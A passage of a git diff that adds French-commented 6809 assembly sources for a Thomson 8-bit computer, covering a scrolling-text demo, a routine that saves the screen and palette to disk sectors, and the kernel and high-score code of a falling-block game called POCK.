+ LDA 4,X
+ STA 2,X
+ LDA 6,X
+ STA 4,X
+ LDA 8,X
+ STA 6,X
+ LDA 10,X
+ STA 8,X
+ LDA 12,X
+ STA 10,X
+BITST LDA #128
+ BITA ,U+ forme du caractère
+ BNE *+6
+ LDA #$97 bloc vide
+ BRA *+6
+ LDA #$D7 bloc plein
+ BRA *+2
+ STA 12,X
+ LEAX 33,X
+ DECB
+ BNE SCROL
+ LDA EXCEPT
+ ADDA #32
+ STA EXCEPT
+
+ LEAU -TAILLE,U
+ LSR BITST+1
+ DEC ZZ+1 encore x bits
+ BEQ NEXLET
+ LDX #9
+ LEAX -1,X
+ BNE *-2
+ BRA JOIN
+
+NEXLET LDD #$A80
+ STA ZZ+1
+ STB BITST+1
+ LDA ,Y+ caractère suivant
+ BLT ESCAPE affiche page texte
+ BEQ FINTXT
+ TST ,X
+ PSHS Y,X,A
+ PULS A,X,Y
+ BRA RETESC+2
+FINTXT LDY #TEXTE
+ PSHS X,A
+ PULS A,X
+ ABX
+RETESC LDA ,Y+ retour de ESCAPE
+ LDB #TAILLE
+ MUL
+ LDU #FONTS-16 (code de 1 à 56)
+ LEAU D,U
+
+JOIN LDX #4
+ LEAX -1,X
+ BNE *-2
+
+ LDB ZZ+3 décalage palette
+ LDX #COLORS-9 effet de la
+ LDA <$CC direction du JOY0
+ ANDA #3
+ ADDB A,X
+ STB ZZ+3
+ LDX #COLORS
+ ABX
+ CLR <$DB
+ LDA #16 nouvelles palettes
+ STA ZZ+4
+ LDD ,X++
+ STB <$DA
+ STA <$DA
+ DEC ZZ+4
+ BNE *-9
+ LDA B,X
+ TST <$C8
+ LBEQ GOON
+
+ LDD #0
+ STD $E7DC
+ LDA #-1
+ LDX #NORPAL
+ JSR $EC00
+ PULS DP,A
+ STA $E7E6
+ RTS
+
+ESCAPE CMPA #128
+ BNE AFFTXT permutation pages:
+ LDB VISU+1 celle affichée
+ EORB #128 est 0 ou 2
+ STB VISU+1
+ TST ,X j'V pas tt refaire
+ BRA RETESC cette routine:26 #
+
+AFFTXT PSHS Y crée nouvelle page
+ CLRA
+ LDB VISU+1 on modifie la
+ BNE *+4 fenêtre qui n'est
+ LDA #2
+ STA $E7E5 pas affichée.
+ JSR CLRSCR effacement fenêtre
+ PULS X
+GETPOS LDY -1,X position à l'écran
+ CMPY #$A000
+ BLO FINPGE
+ LEAX 1,X
+GETLET LDB ,X+ lettre à afficher
+ BMI GETPOS
+ JSR PUTC
+ BRA GETLET
+FINPGE LDA ,X+ on prépare déja le
+ LDB #TAILLE caractère suivant
+ MUL
+ LDU #FONTS-16 (code de 1 à 56)
+ LEAU D,U
+ LEAY ,X
+ JMP RSTART
+
+SYNCRO LDA #32
+ BITA <$E7
+ BEQ *-2
+ BITA <$E7
+ BNE *-2
+ PSHS A
+ MUL
+ MUL
+ MUL
+ MUL
+ PULS A
+ BITA <$E7
+ BEQ *-10
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BPL *-7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BMI *-7
+ LDX #$276
+ LEAX -1,X
+ BNE *-2
+ TST ,X
+ RTS
+
+VISU LDD #$00C1
+ STA <$DD ligne 0
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX -1,X
+ CMPX #$FFF0
+ BNE *-31
+ STA <$DD ligne 1
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+EXCEPT STA $E7DD
+ LEAX 1,X
+ LBNE *-29
+ STA <$DD ligne 2
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX 1,X
+ CMPX #16
+ BNE *-31
+ STA <$DD ligne 3
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX -1,X
+ CMPX #0
+ BNE *-31
+ STA <$DD ligne 4
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX 1,X
+ CMPX #16
+ BNE *-31
+ STA <$DD ligne 5
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX -1,X
+ CMPX #0
+ BNE *-31
+ STA <$DD ligne 6
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX 1,X
+ CMPX #16
+ BNE *-31
+ STA <$DD ligne 7
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX -1,X
+ CMPX #-4
+ BNE *-31
+ STA <$DD ligne 8
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX 1,X
+ CMPX #16
+ BNE *-31
+ STA <$DD ligne 9
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX -1,X
+ CMPX #0
+ BNE *-31
+ STA <$DD ligne 10
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX 1,X
+ CMPX #16
+ BNE *-31
+ STA <$DD ligne 11
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX -1,X
+ CMPX #0
+ BNE *-31
+ STA <$DD ligne 12
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX 1,X
+ CMPX #16
+ BNE *-31
+ STA <$DD ligne 13
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ DEC <$E5
+ LBNE *-28
+ NOP
+ STA <$DD ligne 14
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX -1,X
+ CMPX #0
+ BNE *-31
+ STA <$DD ligne 15
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ STA <$DD
+ LEAX 1,X
+ CMPX #16
+ BNE *-31
+ STA <$DD
+ NOP
+ RTS
+
+PUTC PSHS X affiche une lettre
+ STS RS1+2 (reg B) à l'écran
+ LDX #0 (reg Y). X sauvé
+ LDA #5*37
+ MUL
+ LEAS D,X
+ LDB #37
+CHRLIN PULS A,X,U
+ STA -1,Y
+ STX ,Y
+ STU 2,Y
+ PULS A,X,U
+ STA $1FFF,Y
+ STX $2000,Y
+ STU $2002,Y
+ LEAY 40,Y
+ DECB
+ BNE CHRLIN
+ LEAY -37*40+5,Y
+RS1 LDS #0
+ PULS X,PC
+
+CLRSCR STS RS2+2 effacement total
+ LDU #COLORS-6 de l'écran
+ PULU D,X,Y,S
+ LDU #$DF40
+CLSB FCC /6v6v6v6v6v6v6v6v6v6v/
+ FCC /6v6v6v6v6v6v6v6v6v6v/
+ FCC /6v6v6v6v6v6v6v6v6v6v/
+ FCC /6v6v6v6v6v6v6v6v6v6v/
+ CMPU #$C000
+ BNE CLSB
+ LDU #$BF40
+CLSA FCC /6v6v6v6v6v6v6v6v6v6v/
+ FCC /6v6v6v6v6v6v6v6v6v6v/
+ FCC /6v6v6v6v6v6v6v6v6v6v/
+ FCC /6v6v6v6v6v6v6v6v6v6v/
+ CMPU #$A000
+ BNE CLSA
+RS2 LDS #0
+ RTS
+
+ FCB 0,32,-32
+ FDB 0,0,0
+COLORS FDB 0,$F00,$2F,$3F,$4F,$5F,$6F
+ FDB $7F,$8F,$9F,$AF,$BF,$CF
+ FDB $DF,$EF,$800
+ FDB 0,15,$222,$333,$444,$555
+ FDB $666,$777,$888,$999,$AAA
+ FDB $BBB,$CCC,$DDD,$EEE,8
+NORPAL FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911
+ END
diff --git a/code/3rdparty/sources2-hcl/PICENSEC.ASM b/code/3rdparty/sources2-hcl/PICENSEC.ASM
new file mode 100644
index 0000000..d57bb6f
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/PICENSEC.ASM
@@ -0,0 +1,44 @@
+****************************************
+* *
+* Sauvegarde écran+palette en secteurs *
+* *
+*************(MEGASHOW1)****************
+
+ ORG $9F00
+
+G ORCC #80
+ LDD #$138 face et piste
+ STA $6049
+ STB $604B
+ LDX #$A000
+ STX $604F
+
+ LDU #$DF40 debut palette
+ CLR $E7E5
+ CLRA
+ LDX #$FFFF
+ LDY #0
+ JSR $EC00
+ STX ,U++
+ INCA
+ CMPA #16
+ BNE *-15
+
+ LDD #$108 ecriture secteur 1
+ STB $6048
+ LDB #64 car $4000=256*64
+SAVEP STA $604C
+ JSR $E004
+ INCA
+ CMPA #17
+ BNE *+7
+ LDA #1
+ INC $604B
+ INC $604F
+ DECB
+ BNE SAVEP
+ LDB $604B 1ere piste libre
+ STB G+4 une fois fini
+ RTS
+
+ END
diff --git a/code/3rdparty/sources2-hcl/POCK1.ASM b/code/3rdparty/sources2-hcl/POCK1.ASM
new file mode 100644
index 0000000..a40447b
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/POCK1.ASM
@@ -0,0 +1,512 @@
+****************************************
+* P O C K *
+****************************************
+ * externe *
+ ***********
+
+SCORE EQU $7905
+TEXTE EQU $8000 contenu du scroll
+RANDOM EQU $8A00 table du hasard
+INTRO EQU $8F75 préface (auteur)
+FONTE EQU $9000 lettres du scroll
+POCK EQU $9CFA code du jeu POCK
+G EQU $7BA4 le "shell" de pock
+DIR EQU $9D accès page direct
+Z EQU $80 pour les variables
+IMAGE EQU $9D77 MAP de l'écran
+
+RAMA EQU $C14F
+RAMB EQU RAMA-$2000
+COULIB EQU 192 couleur segmt vide
+BORDER EQU 184 hors carré de jeu
+
+ ORG G
+
+ ORCC #80
+ LDS #$6505
+ LDX #SCORE-5
+ STX $604F
+ JSR $E004
+ LDD #$4845
+ CMPD SCORE+248
+ BEQ *+3
+ RTS
+ LDA #DIR
+ TFR A,DP
+ LDD #32
+ STA $E7DB
+ STA $E7DA
+ DECB
+ BNE *-4
+ LDX #IMAGE
+ STX $616B
+ LDD #$FF0F
+ STA $6249
+ STA $6288
+ STB $E7E5
+ DECB
+ STB $616D
+ LDD #$100
+ STD $61D6
+ LDB #69
+ JSR $EC0C
+ LDD #0
+ STD <Z+23
+ STD <Z+25
+ INCB
+ STD <Z+27
+ LDD #TEXTE
+ STD <Z+29
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDA #3
+ STA $E7E5
+ LDU #$5F40
+ LDX #$DF40
+ LDA ,-U
+ STA ,-X
+ CMPX #$C000
+ BHI *-7
+ LDA #BORDER
+ STA ,-X
+ CMPX #$A000
+ BNE *-5
+ LDU #RAMB+10
+ LDX #COULIB*256+COULIB
+ JSR CLRSCR
+ LDY #$4000 copie de
+ LDX #$CC91 GAME OVER
+ LDD #$2006
+ JSR COPY
+ LDX #$D190 PRESS FIRE
+ LDD #$2008
+ JSR COPY
+
+ LDD #$280
+ STA $E7E5
+ STB $E7DD
+ LDX #$A000
+ LDD #BORDER*256+BORDER
+ STD ,X++
+ CMPX #$C000
+ BNE *-5
+ LDD #0
+ STD ,X++
+ CMPX #$E000
+ BNE *-5
+ LDY #INTRO
+PRES LDX #$C050
+ LDB ,Y+
+ ANDB #127
+ ABX
+ LDA ,Y+
+ LDB #160
+ MUL
+ LEAX D,X
+ LDB ,Y+
+ BLT *+7
+ JSR PUTC
+ BRA *-7
+ LEAY -1,Y
+ CMPY #FONTE-1
+ BLO PRES
+ LDX #$48D1
+ LDY #$CF10
+ LDA #24
+ LDB #3
+ LDU ,X++
+ STU ,Y++
+ DECB
+ BNE *-5
+ LEAX 34,X
+ LEAY 34,Y
+ DECA
+ BNE *-16
+ LDA #3
+ STA $E7E5
+
+ LDX #COLORS
+ LDA #255
+ JSR $EC00
+ LDX #RANDOM
+ENCORE LDA ,X+
+ BEQ *-5
+ JSR $E806
+ BCC *-7
+ LDA #$C0
+ STA $E7DD
+ STX <Z+10
+ CMPB #$90
+ BHI *+4
+ LDB #$90
+ SUBB #$8F
+ CLRA
+ CMPB #10
+ BLO *+5
+ LDD #$100
+ JSR POCK
+
+ LDU #$B49C effacement du next
+ LDA #16
+ LDX #COULIB*256+COULIB
+ LEAY ,X
+ PSHU Y,X
+ LEAU 44,U
+ DECA
+ BNE *-6
+ CLR <Z+9
+ LDX #SCORE+10
+ JSR MAJOR
+ BCC FINCMP
+ LDB #7
+ STB <Z+9
+ LEAU -10,X
+ LEAX 20,X
+ JSR MAJOR
+ BCC *+8
+ DEC <Z+9
+ BNE *-12
+ INC <Z+9
+
+ STU <Z+4
+ LDX #SCORE
+OUINS CMPX <Z+4
+ BEQ METNOM
+ LDB #20
+ LDA 20,X
+ STA ,X+
+ DECB
+ BNE *-6
+ BRA OUINS
+METNOM LDA #8 nom en attente
+ LDB #10
+ STA ,X+
+ DECB
+ BNE *-3
+ LDD <Z+32
+ ADDD #$C0C
+ STD ,X++
+ LDD <Z+34
+ ADDD #$C0C
+ STD ,X++
+ LDD <Z+36
+ ADDD #$C0C
+ STD ,X++
+ LDA <Z+38
+ ADDA #12
+ CLRB
+ STD ,X++
+ LDD <Z+41
+ ADDD #$C0C
+ STD ,X++
+
+FINCMP
+ LDU #RAMB+10
+ LDX #COULIB*256+COULIB
+ JSR SYNSCR
+ LDU #RAMA+10
+ LDX #0
+ JSR CLRSCR
+
+ LDX #RAMA+163
+ LDY #SCORE+140
+ LDA #BORDER
+ LDU #$406
+ STU <Z
+ LDB ,Y+ high scores
+ JSR COLPUT
+ DEC <Z
+ BNE *-7
+ LDX #RAMA+482
+ LDB ,Y+
+ JSR COLPUT
+ DEC <Z+1
+ BNE *-7
+ LDX #RAMA+1040
+ LDY #SCORE+120
+ LDA #7
+ STA <Z+2
+ LDA #200
+
+AFFSCO LDU #$A0A
+ STU <Z
+ LDB ,Y+
+ JSR COLPUT
+ DEC <Z
+ BNE *-7
+ LEAX 270,X
+ SUBA #72
+ LDB ,Y+
+ JSR COLPUT
+ DEC <Z+1
+ BNE *-7
+ LEAX 390,X
+ ADDA #80
+ LEAY -40,Y
+ DEC <Z+2
+ BNE AFFSCO
+
+ TST <Z+9
+ LBEQ FINSCO
+ LDX #RAMA+145*40
+ LDY #SCORE+160
+ LDD #$A04
+ STD <Z
+ LDA #BORDER
+ LDB ,Y+
+ JSR COLPUT
+ DEC <Z
+ BNE *-7
+ LDX #RAMA+6123
+ LDB ,Y+
+ JSR COLPUT
+ DEC <Z+1
+ BNE *-7
+ JSR $E806
+ BCS *-3
+ LDA <Z+9
+ LDX #RAMA+1040
+ DECA
+ ASLA
+ ASLA
+ LDB #170
+ MUL
+ LEAX D,X à l'écran
+ STX <Z+6
+ LDY <Z+4 en mémoire
+ LDB #10
+ STB <Z lettres restantes
+ BRA GETNOM
+
+ LEAY -1,Y
+ LEAX -1,X
+GETNOM JSR $E806
+ CMPB #13
+ BEQ FINNOM
+ CMPB #8
+ BEQ DELETE
+ CMPB #29
+ BEQ DELETE
+ JSR KELCHR
+ TSTB
+ BLT GETNOM
+ STB ,Y+
+ JSR PUTC
+ TST <Z
+ BEQ GETNOM-4
+ DEC <Z
+ BNE GETNOM
+ BRA GETNOM-4
+DELETE LDA <Z
+ BEQ *+10
+ CMPA #10
+ BEQ GETNOM
+ LEAX -1,X
+ LEAY -1,Y
+ LDB #8
+ JSR PUTC
+ CLR ,Y+
+ INC <Z
+ BRA GETNOM-4
+FINNOM LDA <Z
+ BEQ *+7
+ CLR ,Y+
+ DECA
+ BNE *-3
+ LDX <Z+6
+ LDY <Z+4
+ LDA #10
+ LDB ,Y+
+ JSR PUTC
+ DECA
+ BNE *-6
+WRITE LDU #RAMA+143*40+10
+ LDX #0
+ LEAY ,X
+ LDD #16
+ PSHU Y,X,A
+ PSHU Y,X,A
+ LEAU 50,U
+ DECB
+ BNE *-8
+ LDX #SCORE-261
+ STX $604F
+ LDB #2
+ STB $6048
+ CLR SCORE-8
+ JSR $E82A
+ LDD #$4845
+ CMPD SCORE-8
+ BNE DSKERR
+ LDB #8
+ STB $6048
+ LDX #SCORE-5
+ STX $604F
+ JSR $E82A
+ BCC FINSCO
+DSKERR LDY #SCORE+174
+ LDD #$A0A
+ STD <Z
+ LDX #RAMA+145*40
+ LDA #BORDER
+ LDB ,Y+
+ JSR COLPUT
+ DEC <Z
+ BNE *-7
+ LDX #RAMA+153*40
+ LDB ,Y+
+ JSR COLPUT
+ DEC <Z+1
+ BNE *-7
+ JSR $E806
+ BCS *-3
+ JSR $E806
+ BCC *-3
+ BRA WRITE
+
+FINSCO LDA #64
+ BITA $E7CD
+ BEQ *-3
+ LDX #2496*50
+ LEAX -1,X
+ BNE *-2
+ LDX #RAMA+153*40
+ LDY #SCORE+150 press fire
+ LDD #BORDER*256+10
+ STB <Z
+ LDB ,Y+
+ JSR COLPUT
+ DEC <Z
+ BNE *-7
+
+ LDA #64
+ BITA $E7CD
+ BNE *-3
+ LDA #$80
+ STA $E7DD
+ LDU #RAMB+10
+ LDX #COULIB*256+COULIB
+ JSR CLRSCR
+ JSR $E806
+ BCS *-3
+ LDX <Z+10
+ JMP ENCORE
+
+KELCHR CMPB #45
+ BNE *+5
+ LDB #48
+ RTS
+ CMPB #42
+ BNE *+5
+ LDB #49
+ RTS
+ CMPB #33
+ BNE *+5
+ LDB #1
+ RTS
+ CMPB #39
+ BNE *+5
+ LDB #4
+ RTS
+ CMPB #32
+ BNE *+4
+ CLRB
+ RTS
+ CMPB #48
+ BLO NULL
+ CMPB #90
+ BHI NULL
+ CMPB #58
+ BLO OKAY
+ CMPB #65
+ BLO NULL
+ SUBB #7
+OKAY SUBB #36
+ RTS
+NULL LDB #-1
+ RTS
+MAJOR LDD ,X C=1 si score >= X
+ SUBD #$C0C
+ CMPA <Z+32
+ BHI NON
+ BLO OUI
+ CMPB <Z+33
+ BHI NON
+ BLO OUI
+ LDD 2,X
+ SUBD #$C0C
+ CMPA <Z+34
+ BHI NON
+ BLO OUI
+ CMPB <Z+35
+ BHI NON
+ BLO OUI
+ LDD 4,X
+ SUBD #$C0C
+ CMPA <Z+36
+ BHI NON
+ BLO OUI
+ CMPB <Z+37
+ BHI NON
+ BLO OUI
+ LDA 6,X
+ SUBA #12
+ CMPA <Z+38
+ BHI NON
+OUI ORCC #1
+ RTS
+NON ANDCC #254
+ RTS
+SYNSCR TST $E7E7
+ BPL *-3
+ TST $E7E7
+ BMI *-3
+CLRSCR LEAY ,X
+ TFR X,D
+ LDB #160
+ PSHU Y,X,A
+ PSHU Y,X,A
+ LEAU 50,U
+ DECB
+ BNE *-8
+ RTS
+COPY STD <Z
+ LDB <Z+1
+ STX <Z+2
+ LDA ,X+
+ STA ,Y+
+ DECB
+ BNE *-5
+ LDX <Z+2
+ LEAX 40,X
+ DEC <Z
+ BNE COPY+2
+ RTS
+COLPUT LEAX -$2000,X
+ STA -80,X
+ STA -40,X
+ STA ,X
+ STA 40,X
+ STA 80,X
+ LEAX $2000,X
+PUTC PSHS D
+ LDU #FONTE
+ LDA #5
+ MUL
+ LEAU D,U
+ PULU D
+ STA -80,X
+ STB -40,X
+ PULU D
+ STA ,X+
+ STB 39,X
+ LDA ,U
+ STA 79,X
+ PULS D,PC
+
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,123,5,80,85,1280,1285
+ FDB 1360,52,4095
+
+ END
diff --git a/code/3rdparty/sources2-hcl/POCK2.ASM b/code/3rdparty/sources2-hcl/POCK2.ASM
new file mode 100644
index 0000000..8f3def0
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/POCK2.ASM
@@ -0,0 +1,918 @@
+****************************************
+* P O C K *
+****************************************
+ * kernel *
+ **********
+
+TEXTE EQU $8000 contenu du scroll
+RANDOM EQU $8A00 table du hasard
+FONTE EQU $9000 lettres du scroll
+LEVELS EQU $90FC gains et vitesses
+DESSIN EQU $9200 morceaux de pièces
+FORME EQU $9344 silhouettes
+CHIFF EQU $949A les 9 chiffres
+PIECES EQU $94E0 7 figures de base
+SYNCRO EQU $95F5 début du code ASM
+DIR EQU $9D accès page direct
+Z EQU $80 pour les variables
+
+RAMA EQU $C14F
+RAMB EQU RAMA-$2000
+COULIB EQU 192 couleur segmt vide
+GHOST EQU 71 brique s'en allant
+BORDER EQU 184 couleur tour carré
+REBDEP EQU 4 anti-rebond direc@
+REBROT EQU 9 anti-rebond rota@
+
+ ORG SYNCRO
+
+ TST $E7E7
+ BPL *-3
+ TST $E7E7
+ BMI *-3
+
+DEFIL LDX #$DE3C scroll ^
+ LDU #DIR*256+Z+23
+ LDA #5
+ ASL ,U+
+ ROL 15,X
+ ROL 14,X
+ ROL 13,X
+ ROL 12,X
+ ROL 11,X
+ ROL 10,X
+ ROL 9,X
+ ROL 8,X
+ ROL 7,X
+ ROL 6,X
+ ROL 5,X
+ ROL 4,X
+ ROL 3,X
+ ROL 2,X
+ ROL 1,X
+ ROL ,X
+ ROL -1,X
+ ROL -2,X
+ ROL -3,X
+ ROL -4,X
+ ROL -5,X
+ ROL -6,X
+ ROL -7,X
+ ROL -8,X
+ ROL -9,X
+ ROL -10,X
+ ROL -11,X
+ ROL -12,X
+ ROL -13,X
+ ROL -14,X
+ ROL -15,X
+ ROL -16,X
+ LEAX 40,X
+ DECA
+ BNE DEFIL+8
+ DEC <Z+28
+ BNE DEFILN
+ LDX <Z+29
+ LDB ,X+
+ BNE *+7
+ LDX #TEXTE
+ BRA *-7
+ STX <Z+29
+ LDA #5
+ MUL
+ LDU #FONTE-5
+ LEAU D,U
+ PULU D,X
+ STD <Z+23
+ STX <Z+25
+ LDA ,U
+ STA <Z+27
+ LDA #8
+ STA <Z+28
+
+DEFILN LDA <Z+31
+ BEQ EFFDEB
+ DEC <Z+31
+ LBNE SYNCRO
+ JMP ,Y
+
+**** Effacement de l'objet ***
+
+EFFDEB LDX <Z+2 adresse écran RAMB
+ LDU <Z+4 silhouette objet
+ LDA #4
+ STA <Z+1
+ LDA #COULIB
+ LDB #4
+ STB <Z
+
+EFFLIG LDB ,U+
+ BEQ EFFVID
+ STA -120,X
+ STA -80,X
+ STA -40,X
+ STA ,X
+ STA 40,X
+ STA 80,X
+ STA 120,X
+ STA 160,X
+EFFVID LEAX 1,X
+ DEC <Z
+ BNE EFFLIG
+ LEAX 316,X
+ DEC <Z+1
+ BNE EFFLIG-4
+
+**** Rotation de l'objet ****
+
+ LDB <Z+13
+ BNE ROTFIN c'est un rebond
+ LDA $E7CD action 0
+ LDX <Z+2
+ LDU <Z+4
+ BITA #64
+ BNE ROTFIN+2
+ LDU -2,U
+ LEAS ,U
+ LDA #4
+ STA <Z
+ LDB #4
+
+ROTLIG LDA ,S+
+ BEQ ROTVID
+ LDA -120,X haut du cube
+ CMPA #COULIB
+ BNE ROTFIN+2
+ LDA 160,X bas du cube
+ CMPA #COULIB
+ BNE ROTFIN+2
+
+ROTVID LEAX 1,X
+ DECB
+ BNE ROTLIG
+ LEAX 316,X
+ DEC <Z
+ BNE ROTLIG-2
+ STU <Z+4
+ LDB #REBROT
+ STB <Z+13
+ BRA *+4
+
+ROTFIN DEC <Z+13
+
+**** Déplacements latéraux ****
+
+ LDA $E7CC joystick 0
+ LDX <Z+2
+ LDU <Z+4
+ BITA #4
+ BNE *+6
+ LEAX -1,X
+ BRA *+8
+ BITA #8
+ BNE DEPFIN
+ LEAX 1,X
+ LEAY ,X
+ DEC <Z+12
+ BGT DEPFIN+2 c'est un rebond
+ LDA #4
+ STA <Z
+ LDB #4
+
+DEPLIG LDA ,U+
+ BEQ DEPVID
+ LDA -120,Y haut du cube
+ CMPA #COULIB
+ BNE DEPFIN
+ LDA 160,Y bas du cube
+ CMPA #COULIB
+ BNE DEPFIN
+
+DEPVID LEAY 1,Y
+ DECB
+ BNE DEPLIG
+ LEAY 316,Y
+ DEC <Z
+ BNE DEPLIG-2
+ STX <Z+2
+ LDB #REBDEP
+ STB <Z+12
+ BRA *+4
+
+DEPFIN CLR <Z+12
+
+**** Chute de l'objet ****
+
+ LDX <Z+2
+ LDA $E7CC
+ BITA #2
+ BNE CHUNAT
+ LDA <Z+14 flag même pression
+ BNE CHUNAT+2
+ LEAX 320,X commandée
+ BRA CHUFIN
+
+CHUNAT CLR <Z+14
+ LDB <Z+8 naturelle
+ CLRA
+ ADDD <Z+6 vitesse de chute
+ STB <Z+8
+ LDB #40
+ MUL
+ LEAX D,X
+CHUFIN STX <Z+2
+
+**** Ajustage si fin de chute ****
+
+ LDU <Z+4 forme de l'objet
+ LDX <Z+2 adresse écran RAMB
+ LEAS 12,U
+ LEAY 1120,X
+ LDA #4
+ STA <Z
+ LEAX ,Y
+ LEAU ,S
+ LDB #4
+
+AJUCOL LDA ,U
+ BEQ AJUVID
+ LDB #1 fin de colonne
+ LDA ,X bas de plancher
+ CMPA #COULIB
+ BEQ AJUVID
+ STB <Z+9 flag fin de chute
+ CLRB
+ LEAX -40,X
+ LDA ,X
+ INCB
+ CMPA #COULIB
+ BNE *-8
+ LDA #40
+ MUL
+ COMA
+ NEGB
+ LDX <Z+2
+ LEAX D,X
+ STX <Z+2
+ BRA AJUFIN
+
+AJUVID LEAX -320,X
+ LEAU -4,U
+ DECB
+ BNE AJUCOL
+ LEAU 17,U
+ LEAY 1,Y colonne suivante
+ LEAS 1,S
+ DEC <Z
+ BNE AJUCOL-6
+AJUFIN
+
+**** Affichage de l'objet ****
+
+ LDX <Z+2 adresse écran RAMB
+ LEAY $2000,X
+ LDS <Z+4 forme de l'objet
+ LDA #4
+ STA <Z+1
+ LDB #4
+ STB <Z
+
+AFFLIG LDB ,S+
+ BEQ AFFVID
+ LDA #6
+ MUL
+ LDU #DESSIN-6
+ LEAU D,U
+ PULU D
+ STA -120,X
+ STA -80,X
+ STA -40,X
+ STA ,X
+ STA 40,X
+ STA 80,X
+ STA 120,X
+ STA 160,X
+ STB -120,Y
+ PULU D
+ STA -80,Y
+ STB -40,Y
+ STB ,Y
+ STB 40,Y
+ STB 80,Y
+ LDD ,U
+ STA 120,Y
+ STB 160,Y
+
+AFFVID LEAX 1,X
+ LEAY 1,Y
+ DEC <Z
+ BNE AFFLIG
+ LEAX 316,X
+ LEAY 316,Y
+ DEC <Z+1
+ BNE AFFLIG-4
+ LDA <Z+9
+ LBEQ SYNCRO
+
+**** Ravages causés par l'objet ****
+
+ CLR <Z+9 aucune ligne faite
+ LDU <Z+2 cube du milieu sur
+ LEAU 1,U la ligne du haut
+ LDA #4
+ STA <Z+1
+RAVCOL LEAX ,U
+ LEAY ,U
+ LDA ,X
+ CMPA #BORDER
+ LBEQ RAVGRU déjà => hors cadre
+ LDA ,X+
+ CMPA #COULIB
+ LBEQ RAVGRU
+ CMPA #BORDER
+ BNE *-10
+ LDA ,-Y couleurs à gauche?
+ CMPA #COULIB
+ LBEQ RAVGRU
+ CMPA #BORDER
+ BNE *-10
+ LDA #10
+ STA <Z
+ LEAX -11,X
+ LEAY $2001,Y
+ INC <Z+9
+ STX <Z+18
+RAVLIG LDA 200,X remodelage dessin
+ CMPA #BORDER des figures pour
+ BEQ RAVSUS cause de chute
+ CLRA
+ LDB 240,Y
+ BEQ *+3
+ INCA
+ STA 200,Y
+RAVSUS LDA -160,X
+ CMPA #BORDER
+ BEQ RAVCUB
+ LDA #$FF
+ STA -160,Y
+ LDB -160,X
+ CMPB -161,X mm couleur gauche?
+ BNE *+8
+ LDB -241,Y
+ BEQ *+4
+ LDA #$7F mais pas de lien .
+ STA -200,Y
+RAVCUB LDA #GHOST blanchir la ligne
+ STA -120,X
+ STA -80,X
+ STA -40,X
+ STA ,X+
+ STA 39,X
+ STA 79,X
+ STA 119,X
+ STA 159,X
+ LDD #$103
+ STA -120,Y
+ STB -80,Y
+ STB -40,Y
+ STB ,Y+
+ STB 39,Y
+ STB 79,Y
